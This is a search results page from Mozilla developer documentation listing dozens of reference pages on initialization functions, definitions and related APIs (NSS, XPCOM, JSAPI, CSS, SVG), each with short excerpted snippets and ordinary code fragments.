... 90 animationevent.initanimationevent() api, animationevent, cssom, method, obsolete, web animations the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
... 169 audioparam.defaultvalue api, audioparam, property, reference, web audio api, defaultvalue the defaultvalue read-only property of the audioparam interface represents the initial value of the attributes as defined by the specific audionode creating the audioparam.
...And 142 more matches
Bytecode Descriptions
objects creating objects newinit stack: ⇒ obj create and push a new object with no properties.
...subsequent initprop instructions must fill in all slots of the new object before it is used in any other way.
... defining properties initprop operands: (uint32_t nameindex) stack: obj, val ⇒ obj define a data property on an object.
...And 69 more matches
DevTools API - Firefox Developer Tools
in terms of code, each tool has to provide a tooldefinition object.
... a definition is a js light object that exposes different information about the tool (like its name and its icon), and a build method that will be used later-on to start an instance of this tool.
... the gdevtools global object provides methods to register a tool definition and to access tool instances.
...And 42 more matches
sslfnc.html
ssl initialization functions ssl export policy functions ssl configuration functions ssl communication functions ssl functions used by callbacks ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl.
... for a complete list of nss initialization functions, see initialization.
... note that at least one of the functions listed in ssl export policy functions must also be called during nss initialization.
...And 39 more matches
Details of the object model - JavaScript
a prototype-based language has the notion of a prototypical object, an object used as a template from which to get the initial properties for a new object.
... defining a class in class-based languages, you define a class in a separate class definition.
... in that definition you can specify special methods, called constructors, to create instances of the class.
...And 37 more matches
Mozilla DOM Hacking Guide
the nsdomclassinfodata objects are created in the sclassinfodata array by explicitly initializing it.
... union { nsdomclassinfoconstructorfnc mconstructorfptr; nsdomclassinfoexternalconstructorfnc mexternalconstructorfptr; } u; this union is a pointer to a function typedef'ed: typedef nsiclassinfo* (*nsdomclassinfoconstructorfnc)(nsdomclassinfoid aid); or typedef nsiclassinfo* (*nsdomclassinfoexternalconstructorfnc) (const char* aname); it is initialized with the docreate member function of the helper class passed as third argument to the macro.
... mname and mconstructorfptr, mscriptableflags and mhasinterface are initialized by ns_define_classinfo_data_with_name.
...And 35 more matches
Index
because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using.
... in the most simple scenario, the programmer will provide a directory on your filesystem as a parameter to the init function, and nss is designed to do the rest.
...alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode.
...And 35 more matches
Overview of Mozilla embedding APIs
ns_initembedding this function initializes the gecko embedding support.
... below is a code snippet which an embedding application can use to create and initialize a webbrowser: nsresult rv; nscomptr<nsibasewindow> basewindow; nscomptr<nsiwebbrowser> webbrowser; // create a nswebbrowser instance...
... rv = webbrowser->setcontainerwindow((nsiwebbrowserchrome*)this); if (ns_failed(rv)) return rv; basewindow = do_queryinterface(webbrowser); // initialize the webbrowser with a native parent window // (ie.
...And 34 more matches
JavaScript Daemons Management - Archive of obsolete content
but the daemon constructor itself is nothing but a clone of minidaemon with an added support for init and onstart functions declarable during the instantiation of the daemon.
...the daemon constructor itself is nothing but a clone of the little framework minidaemon with added support for init and onstart functions (declarable during the instantiation of the daemon).
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * the daemon system * ****************************/ /* the global "daemon" constructor */ function daemon (oowner, ftask, nrate, nlen, finit, fonstart) { if (!(this && this instanceof daemon)) { return; } if (arguments.length < 2) { throw new typeerror("daemon - not enough arguments"); } if (oowner) { this.owner = oowner }; this.task = ftask; if (isfinite(nrate) && nrate > 0) { this.rate = math.floor(nrate); } if (nlen > 0) { this.length = math.floor(nlen); } if (fonstart) { this.onstart = fonstart; } i...
...And 33 more matches
Index
MozillaTechXPCOMIndex
29 components.stack xpcom:language bindings, xpconnect components.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
...the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes.
... 126 core xpcom functions functions, landing, mozilla, xpcom xpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.
...And 28 more matches
Index
an application typically has an array of jsfunctionspec to define all the functions for an object and calls js_definefunctions or js_initclass to create the functions and assign them to an object.
... 131 jsobjectops.defineproperty jsapi reference, obsolete, spidermonkey define obj[id], an own property of obj named id, having the given initial value, with the specified getter, setter, and attributes.
...the native ops (js_objectops, see js/src/jsobj.cpp) access slots reserved by including a call to the jsclass_has_reserved_slots(n) macro in the jsclass.flags initializer.
...And 23 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
specifications specification status comment filter effects module level 1the definition of 'x' in that specification.
... working draft definition for <filter> filter effects module level 1the definition of 'x' in that specification.
... working draft definition for <fespotlight> filter effects module level 1the definition of 'x' in that specification.
...And 22 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
specifications specification status comment filter effects module level 1the definition of 'y' in that specification.
... working draft definition for <filter> filter effects module level 1the definition of 'y' in that specification.
... working draft definition for <fespotlight> filter effects module level 1the definition of 'y' in that specification.
...And 22 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
a definition of terms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform").
...downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer.
...an ideal xpi package will: install to the current browser that is initiating the xpinstall installation via html or triggering an xpinstall installation via a trigger script.
...And 20 more matches
text-transform - CSS: Cascading Style Sheets
in irish (ga), certain prefixed letters remain in lowercase when the base initial is capitalized, so for example text-transform: uppercase will change ar aon tslí to ar aon tslÍ and not, as one might expect, ar aon tslÍ (firefox only).
... syntax /* keyword values */ text-transform: none; text-transform: capitalize; text-transform: uppercase; text-transform: lowercase; text-transform: full-width; text-transform: full-size-kana; /* global values */ text-transform: inherit; text-transform: initial; text-transform: unset; capitalize is a keyword that converts the first letter of each word to uppercase.
...internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct behavior, css text level 3 cleans this mess up.
...And 20 more matches
Working with objects - JavaScript
for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null).
...you can create an object using an object initializer.
... using object initializers in addition to creating objects using a constructor function, you can create objects using an object initializer.
...And 20 more matches
WebIDL bindings
the actual type returned from getparentobject must be defined in a header included from your implementation header, so that this type's definition is visible to the binding code.
... dictionary return values are represented by an out parameter whose type is a non-const reference to the struct described above, with all the members that have default values preinitialized to those default values.
... if necessary, dictionaries can be directly initialized from a js::value in c++ code by invoking their init() method.
...And 19 more matches
Array.prototype.reduce() - JavaScript
syntax arr.reduce(callback( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters callback a function to execute on each element in the array (except for the first, if no initialvalue is supplied).
...it is the accumulated value previously returned in the last invocation of the callback—or initialvalue, if it was supplied (see below).
...starts from index 0 if an initialvalue is provided.
...And 19 more matches
Python binding for NSS
to solve this problem red hat generously funded the initial development of python-nss as well as it's continued maintenance.
...the initial release of python-nss occurred in september 2008 with it's inclusion in the fedora distribution.
... the following class methods were added: pk11slot.check_security_officer_passwd pk11slot.check_user_passwd pk11slot.change_passwd pk11slot.init_pin release 0.17.0 release date 2014-11-07 scm tag pynss_release_0_17_0 source download https://ftp.mozilla.org/pub/mozilla.org/security/python-nss/releases/pynss_release_0_17_0/src/ change log the primary enhancement in this version is adding support for pbkdf2 the following module functions were added:...
...And 18 more matches
jspage - Archive of obsolete content
var mootools={version:"1.2.4",build:"0d9113241a90b9cd5643b926795852a2026710d4"};var native=function(k){k=k||{};var a=k.name;var i=k.legacy;var b=k.protect; var c=k.implement;var h=k.generics;var f=k.initialize;var g=k.afterimplement||function(){};var d=f||i;h=h!==false;d.constructor=native;d.$family={name:"native"}; if(i&&f){d.prototype=i.prototype;}d.prototype.constructor=d;if(a){var e=a.tolowercase();d.prototype.$family={name:e};native.typize(d,e);}var j=function(n,l,o,m){if(!b||m||!n.prototype[l]){n.prototype[l]=o; }if(h){native.genericize(n,l,b);}g.call(n,l,o);return n;};d.alias=function(n,l,p){if(typeof n=="string"){var o=this.prototype[n];if((n=o)){return j(this,l,n,p); }}for(var m in n){this.alias(m,n[m],l);}return this;};d.implement=function(m,l,o){if(typeof m=="string"){return...
...){var d=array.prototype.slice.call(arguments); return b.prototype[c].apply(d.shift(),d);};}};native.implement=function(d,c){for(var b=0,a=d.length;b<a;b++){d[b].implement(c);}};native.typize=function(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolower...
...case","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.implement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each");array.implement({foreach:function(c,d){for(var b=0,a=this.length;b<a;b++){c.call(d,this[b],b,this);}}});array.alias("foreach","each"); function $a(b){if(b.item){var a=b.length,c=new array(a);whil...
...And 16 more matches
NSS API Guidelines
port lib/jar jar-ds.h, jar.h, jarfile.h nss provides high-level initialiazation and shutdown of security services.
... specifically, this library provides nss_init() for establishing default certificate, key, module databases, and initializing a default random number generator.
... data types and typdefs should have the form layerbody, with the same definitions for layer as public functions, and body in camel case english words.
...And 16 more matches
PKCS11 Implement
general-purpose functions c_initialize the nss calls c_initialize on startup or when it loads a new module.
... the nss always passes null, as required by the pkcs #11 specification, in the single c_initialize parameter preserved.
...the nss interprets the combination of the ckf_login_required and ckf_user_pin_initialized flags as shown in table 1.1.
...And 16 more matches
Element - Web APIs
WebAPIElement
clipboard events copy fired when the user initiates a copy action through the browser's user interface.
... cut fired when the user initiates a cut action through the browser's user interface.
... paste fired when the user initiates a paste action through the browser's user interface.
...And 16 more matches
JIT Optimization Strategies
arguments.length is allowed to use the arguments object in the following ways without disabling this optimization: access arguments.length access arguments.callee access individual args using arguments[i] save arguments into variables, as long as those variables cannot be accessed by any nested function, and as long as there exists no eval anywhere within the function or nested function definitions.
... arguments.callee is allowed to use the arguments object in the following ways without disabling this optimization: access arguments.length access arguments.callee access individual args using arguments[i] save arguments into variables, as long as those variables cannot be accessed by any nested function, and as long as there exists no eval anywhere within the function or nested function definitions.
... getprop_definiteslot optimizes access to a well-known regular property on an object.
...And 15 more matches
JSAPI User Guide
use js_initstandardclasses to populate it with the standard javascript globals.
... if (!js_initstandardclasses(cx, global)) return 1; // your application code here.
... return 0; } int main(int argc, const char *argv[]) { // initialize the js engine.
...And 15 more matches
xlink:href - SVG: Scalable Vector Graphics
value <iri> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <a>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <altglyph>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>' in that specification.
...And 15 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
reference materials to get an idea of what kinds of functions embedded xpcom can handle, take a look at the api reference and the interface definitions from xpidl in the actual source code.
... note: interface definition language (idl) is a language for giving standard definitions of objects, methods, and so forth.
...when you initialize this by passing the full path to the file with the nsilocalfile.initwithpath() method, it becomes available to all functions.
...And 14 more matches
IPDL Tutorial
ipdl, short for "inter-process-communication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
...the following ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplugin protocol.
... two messages can be sent from the parent to the child, init() and shutdown().
...And 14 more matches
nsITimer
nsitimer instances must be initialized by calling one of the initialization methods.
... you may also re-initialize (using one of the initialization methods) an existing instance to avoid the overhead of destroying and creating a timer.
... method overview void cancel(); void init(in nsiobserver aobserver, in unsigned long adelay, in unsigned long atype); void initwithcallback(in nsitimercallback acallback, in unsigned long adelay, in unsigned long atype); void initwithfunccallback(in nstimercallbackfunc acallback, in voidptr aclosure, in unsigned long adelay, in unsigned long atype); native code only!
...And 14 more matches
SVGSVGElement - Web APIs
svgsvgelement.usecurrentview the initial view (i.e., before magnification and panning) of the current innermost svg document fragment can be either the "standard" view, i.e., based on attributes on the <svg> element such as viewbox) or on a "custom" view (i.e., a hyperlink into a particular <view> or other element).
... if the initial view is the "standard" view, then this attribute is false.
... if the initial view is a "custom" view, then this attribute is true.
...And 14 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
listing 5: content for clock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/"?> <dialog id="clockdialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="clock" buttons="accept" onload="initclock();"> <script type="application/javascript" src="chrome://helloworld/content/clock.js"/> <hbox align="center"> <label value="current time:" /> <textbox id="currenttime" /> </hbox> </dialog> listing 6: content for clock.js function initclock() { showcurrenttime(); window.setinterval(showcurrenttime, 1000); } function showcurrenttime() { var textbox = document.getelement...
... listing 8: revisions to clock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/"?> <!doctype dialog system "chrome://helloworld/locale/clock.dtd"> <dialog id="clockdialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="&helloworld.clock;" buttons="accept" onload="initclock();"> <script type="application/javascript" src="chrome://helloworld/content/clock.js" /> <hbox align="center"> <label value="&helloworld.currenttime;:" /> <textbox id="currenttime" /> </hbox> </dialog> create the dtd that defines the entity references now create the dtd file that gets referred to by clock.xul (listing 9).
... listing 15: content for overlay.js var gsessionstore = { // directory to save sessions (nsilocalfile) _dir: null, // initialization init: function() { }, // uninitialization uninit: function() { }, // save session (event handler) save: function(event) { }, // restore session (event handler) restore: function(event) { }, // delete session (event handler) clear: function(event) { }, // dynamically generate menu items (event handler) createmenu: function(event) { }, // read file _readfile: fun...
...And 13 more matches
Looping code - Learn web development
he might use the following loop to achieve this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value — this is the starting point of the loop ("start: i have no food", above).
...the first, which you'll use most of the time, is the for loop — this has the following syntax: for (initializer; condition; final-expression) { // code to run } here we have: the keyword for, followed by some parentheses.
... inside the parentheses we have three items, separated by semi-colons: an initializer — this is usually a variable set to a number, which is incremented to count the number of times the loop has run.
...And 13 more matches
Observer Notifications
called when xpcom is initialized.
... sessionstore-windows-restored sent by the session restore process to indicate that all initial browser windows have opened.
... browser-delayed-startup-finished sent when the browser window and all its components have been loaded and initialized.
...And 13 more matches
Document - Web APIs
WebAPIDocument
document.doctyperead only returns the document type definition (dtd) of the current document.
... clipboard events copy fired when the user initiates a copy action through the browser's user interface.
... cut fired when the user initiates a cut action through the browser's user interface.
...And 13 more matches
An Overview of XPCOM
using a freely available public initialization method, as the example below suggests, can cause problems.
... someclass class initialization class someclass { public: // constructor someclass(); // virtual destructor virtual ~someclass(); // init method void init(); void dosomethinguseful(); }; for this system to work properly, the client programmer must pay close attention to whatever rules the component programmer has established.
...one rule might specify that dosomethinguseful may only be called after a call to init().
...And 12 more matches
nsICryptoHash
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hash algorithms these constants are used by the init() method to indicate which hashing function to use.
...manch("init") ..
... exceptions thrown ns_error_not_initialized indicates that init() or initwithstring() has not been called.
...And 12 more matches
Using Objective-C from js-ctypes
#import <appkit/appkit.h> int main(void) { nsspeechsynthesizer* synth = [[nsspeechsynthesizer alloc] initwithvoice: nil]; [synth startspeakingstring: @"hello, firefox!"]; // wait until start speaking.
...it performs the following through this objective-c syntax: get the nsspeechsynthesizer class definition.
... get a reference to a class class definitions are retrieved with the objc_getclass function, declared in /usr/include/objc/runtime.h.
...And 12 more matches
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
syntax /* <length> value */ min-width: 3.5em; /* <percentage> value */ min-width: 10%; /* keyword values */ min-width: max-content; min-width: min-content; min-width: fit-content(20em); /* global values */ min-width: inherit; min-width: initial; min-width: unset; values <length> defines the min-width as an absolute value.
... formal definition initial valueautoapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <lengt...
...h-percentage> = <length> | <percentage> examples setting minimum element width table { min-width: 75%; } form { min-width: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-width' in that specification.
...And 12 more matches
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
specifications specification status comment filter effects module level 1the definition of 'height' in that specification.
... working draft definition for <filter> filter effects module level 1the definition of 'height' in that specification.
... working draft definition for filter primitives css masking module level 1the definition of 'height' in that specification.
...And 12 more matches
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
specifications specification status comment filter effects module level 1the definition of 'width' in that specification.
... working draft definition for <filter> filter effects module level 1the definition of 'width' in that specification.
... working draft definition for filter primitives css masking module level 1the definition of 'width' in that specification.
...And 12 more matches
StringView - Archive of obsolete content
the code stringview.js "use strict"; /*\ |*| |*| :: number.isinteger() polyfill :: |*| |*| /docs/web/javascript/reference/global_objects/number/isinteger |*| \*/ if (!number.isinteger) { number.isinteger = function isinteger (nval) { return typeof nval === "number" && isfinite(nval) && nval > -9007199254740992 && nval < 9007199254740992 && math.floor(nval) === nval; }; } /*\ |*| |*| stringview mdndeveloper network |*| |*| revision #12, march 21st, 2017 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/stringview |*| https://developer.mozilla.org/docs/user:fusionchess |*| https://github.com/madmurphy/stringview.js |*| |*| this framework is released u...
...|*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function stringview (vinput, sencoding /* optional (default: utf-8) */, noffset /* optional */, nlength /* optional */) { var ftaview, awhole, araw, fputoutptcode, fgetoutptchrsize, ninptlen, nstartidx = isfinite(noffset) ?
... vinput.bytelength >>> 1 : vinput.bytelength; araw = nstartidx === 0 && (!isfinite(nlength) || nlength === ninptlen) ?
...And 11 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
most installation scripts, including the one discussed here, take the following basic form (in pseudo-code and with links to the sections in which these installation steps are documented): initinstall(); if (verify_space()) { err = add_dirs_and_files; register_files; if (err==success) { performinstall() }; else { cancelinstall() }; } as you can see in the code listing, the verification process at the top is on lines 1 to 18; the file addition process, here part of the main installation block, is on lines 24 to 41; the registration part of the main installation block is on...
...if you choose not to register the installed software or do the verifications at the front end of the installation, then at a minimum, the install scripts mustinitialize, add the files to be installed, and execute.
... note also that when you call methods on the install--as you do so often in installation scripts (getfolder, initinstall, addfile, and performinstall are all examples of common install object methods)--the install object is implicit; like the window object in regular web page scripts, the install object does not need to be prefixed to the method.
...And 11 more matches
nsILocalFileMac
void inittoappwithcreatorcode(in ostype aappcreator); native code only!
... obsolete since gecko 2.0 void initwithcfurl(in cfurlref acfurl); native code only!
... void initwithfsref([const] in fsrefptr afsref); native code only!
...And 11 more matches
range - CSS: Cascading Style Sheets
syntax /* keyword value */ range: auto; /* range values */ range: 2 5; range: infinite 10; range: 6 infinite; range: infinite infinite; /* multiple range values */ range: 2 5, 8 10; range: infinite 6, 10 infinite; values auto the range depends on the counter system: for cyclic, numeric, and fixed systems, the range is negative infinity to positive infinity.
... for alphabetic and symbolic systems, the range is 1 to positive infinity.
... for additive systems, the range is 0 to positive infinity.
...And 11 more matches
Border-image generator - CSS: Cascading Style Sheets
subscribers[this.topic].length; i++) subscribers[this.topic][i](this.value); }; var createslider = function createslider(topic, label) { var slider = document.createelement('div'); slider.classname = 'ui-input-slider'; slider.setattribute('data-topic', topic); if (label !== undefined) slider.setattribute('data-info', label); new inputslider(slider); return slider; }; var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); }; return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, setstep : setstep, getnode : getnode, getstep : getstep, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, ...
...opic] = []; subscribers[topic].push(callback); }; var unsubscribe = function unsubscribe(topic, callback) { var index = subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); }; var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i in subscribers[this.topic]) { subscribers[this.topic][i](this.value); } }; var init = function init() { var elem, size; elem = document.queryselectorall('.ui-dropdown'); size = elem.length; for (var i = 0; i < size; i++) new dropdown(elem[i]); }; return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, createdropdown : createdropdown }; })(); /** * ui-buttonmanager */ var buttonmanager = (function checkboxmanag...
... subscribers[topic].push(callback); }; var unsubscribe = function unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); }; var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); }; var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++) new checkbox(elem[i]); }; return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe }; })(); window.addeventlistener("load", function() { borderimage.init(); }); var borderimage = (function borderimage() { var...
...And 11 more matches
<length> - CSS: Cascading Style Sheets
WebCSSlength
when used within the root element font-size, it represents its initial value (a common browser default is 16px, but user-defined preferences may modify this).
...when used on the font-size or line-height properties of the root element, it refers to the properties' initial value.
... vh equal to 1% of the height of the viewport's initial containing block.
...And 11 more matches
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
except for any svg-specific rules explicitly mentioned in this specification, the normative definition for this attribute is the smil animation specification.
...see the definition of href on animation elements for details on identifying a target element.
... value <url> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'href for <a>' in that specification.
...And 11 more matches
Index - Archive of obsolete content
searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks.
... 416 dehydra frequently asked questions dehydra initially dehydra was written as an easy way to look for patterns in control flow graphs (cfgs).
... 722 trigger scripts and install scripts trigger scripts are simple installations that can be initiated from event handlers and other javascript code on a web page.
...And 10 more matches
Debugging on Mac OS X
to work around that, the steps below have you initialize the project outside the mozilla source tree, close the project, copy the .xcodeproj project "file" into the source tree, and then reopen the project to finish setting it up.
...note that subdirectories may initially appear to be empty, but they too will progressively be populated as xcode processes the sourse files.
... one important issue that the mozilla .lldbinit file fixes is that by default some breakpoints will be listed as "pending", and xcode will not stop at them.
...And 10 more matches
NSS functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
...the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
...the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
...And 10 more matches
nsIAppShellService
boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.8 void enterlastwind...
... void hidesplashscreen(); obsolete since gecko 1.8 void initialize(in nsicmdlineservice acmdlineservice, in nsisupports nativeappsupportorsplashscreen); obsolete since gecko 1.8 void quit(in pruint32 aferocity); obsolete since gecko 1.8 void registertoplevelwindow(in nsixulwindow awindow); void run(); obsolete since gecko 1.8 void toplevelwindowismodal(in nsixulwindow awindow, in boolean amodal); obsolete since gecko 1.9.1 void unregistertoplevelwindow(in nsixulwindow awindow); not...
...obsolete since gecko 1.8 constants constant value description size_to_content -1 create a window, which will be initially invisible.
...And 10 more matches
Box-shadow generator - CSS: Cascading Style Sheets
subscribers[topic] = []; subscribers[topic].push(callback); } var unsubscribe = function unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i in subscribers[this.topic]) { subscribers[this.topic][i](this.value); } } var init = function init() { var elem, size; elem = document.queryselectorall('.ui-slider-btn-set'); size = elem.length; for (var i = 0; i < size; i++) setbuttoncomponent(elem[i]); elem = document.queryselectorall('.ui-slider-input'); size = elem.length; for (var i = 0; i < size; i++) setinputcomponent(elem[i]); elem = document.queryselectorall('.ui-slider'); size = elem.length;...
... for (var i = 0; i < size; i++) new slider(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * ui-buttonmanager */ var buttonmanager = (function checkboxmanager() { var subscribers = []; var buttons = []; var checkbox = function checkbox(node) { var topic = node.getattribute('data-topic'); var state = node.getattribute('data-state'); var name = node.getattribute('data-label'); var align = node.getattribute('data-text-on'); state = (state === "true"); var checkbox = document.createelement("input"); var label = document.createelement("label"); var id = 'checkbox-' + topic; checkbox.id = id; checkbox.setattribute('type', 'checkbox'); checkbox.checked = state; label.setattribute...
...[]; subscribers[topic].push(callback); } var unsubscribe = function unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); } var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++) new checkbox(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); window.addeventlistener("load", function(){ boxshadow.init(); }); var boxshadow = (function boxshadow() { function ge...
...And 10 more matches
<custom-ident> - CSS: Cascading Style Sheets
to prevent ambiguity, each property that uses <custom-ident> forbids the use of specific values: animation-name forbids the global css values (unset, initial, and inherit), as well as none.
... counter-reset counter-increment forbids the global css values (unset, initial, and inherit), as well as none.
... @counter-style list-style-type forbids the global css values (unset, initial, and inherit), as well as the values none, inline, and outside.
...And 10 more matches
Array.prototype.reduceRight() - JavaScript
syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value previously returned in the last invocation of the callback, or initialvalue, if supplied.
... initialvalueoptional value to use as accumulator to the first call of the callback.
... if no initial value is supplied, the last element in the array will be used and skipped.
...And 10 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
listing 1: calc.js (stage 1) function rpncalc() { } rpncalc.prototype = { init: function() { }, push: function(val) { }, plus: function() { }, pop: function() { } } implement the addition operation create test case begin by creating the test case.
... listing 2: content for test_calc.js (first-round test case) var testcase = mozlab.mozunit.testcase; var assert = mozlab.mozunit.assertions; var tc = new testcase('rpn calc testcase'); var module = new modulemanager(); var rpncalc = module.require('package', 'calc'); tc.tests = { '2 1 +': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.plus(); assert.equals(calc.pop(), 3); } } listing 3: additional content for calc.js function rpncalc() { this.stack = new array(); } rpncalc.prototype = { init: function() { this.stack = new array(); }, push: function(val) { this.stack.push(number(val)); }, _letfunc: function(func) { a = this.pop(); b = this.pop(...
... listing 4: test_calc.js (adding sample test case) '2 1 -': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.minus(); assert.equals(calc.pop(), 1); }, listing 5: calc.js (implementing subtraction operation) minus: function() { this._letfunc(this._minus); }, _minus: function(a, b) { return a - b; }, listing 6: calc.js (correcting mistake in implementation of subtraction) _letfunc: function(func) { // correct pop order b = this.pop(); a = this.pop(); t...
...And 9 more matches
CSS3 - Archive of obsolete content
css values and units module level 3 candidate recommendation makes initial and inherit keywords usable on any css property.
... adds: definition for new font-relative length units: rem and ch .
... definition for viewport-relative length units: vw, vh, vmax, and vmin .
...And 9 more matches
Eclipse CDT
introduction eclipse cdt (c/c++ development tools) is an open-source ide for c and c++ development with advanced code assistance (inheritance/call graph explorer, jump to definition, refactoring, autocomplete, syntax highlighting, and so on).
...set an initial heap space of 1 gb and max heap space of 5 gb, say, by modifying the values of the following two lines in eclipse.ini: -xms1g -xmx5g if you fail to increase these limits, then you will likely find that eclipse either hangs when it tries to index the mozilla source or else that the code intelligence is very broken after the indexing "completes".
...;-) to jump to the definition of a symbol (or the declaration of a symbol if already at the definition), hover over the symbol, hold down the ctrl/cmd key, move the mouse slightly to linkify the symbol, then click on it.
...And 9 more matches
NSS_3.12_release_notes.html
